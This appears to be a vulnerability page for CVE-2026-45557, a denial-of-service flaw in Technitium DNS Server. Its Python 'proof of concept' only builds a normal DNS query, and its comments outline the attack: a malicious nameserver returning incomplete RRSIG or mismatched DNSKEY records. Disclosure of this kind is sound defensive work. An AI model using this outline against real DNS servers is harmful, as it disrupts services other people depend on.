CVE-2026-45557 Technitium DNS Server 拒绝服务漏洞

import socket import struct def build_dns_query(domain): # Construct a simple DNS query for the target domain transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 0 header = struct.pack('!HHHHHH', transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Encode domain name query_body = b'' for part in domain.split('.'): query_body += bytes([len(part)]) + part.encode() query_body += b'\x00' # Type and Class (A record, IN class) query_body += struct.pack('!HH', 1, 1) return header + query_body # Example usage to trigger the query # The actual exploit requires a malicious authoritative DNS server # responding with malformed DNSSEC records to the victim server. print("This POC demonstrates the query structure. To exploit CVE-2026-45557,") print("an attacker would set up a malicious authoritative nameserver that returns") print("incomplete RRSIG or mismatched DNSKEY records for the queried domain.") query = build_dns_query('example.com') print(f"Generated DNS Query Packet: {query.hex()}")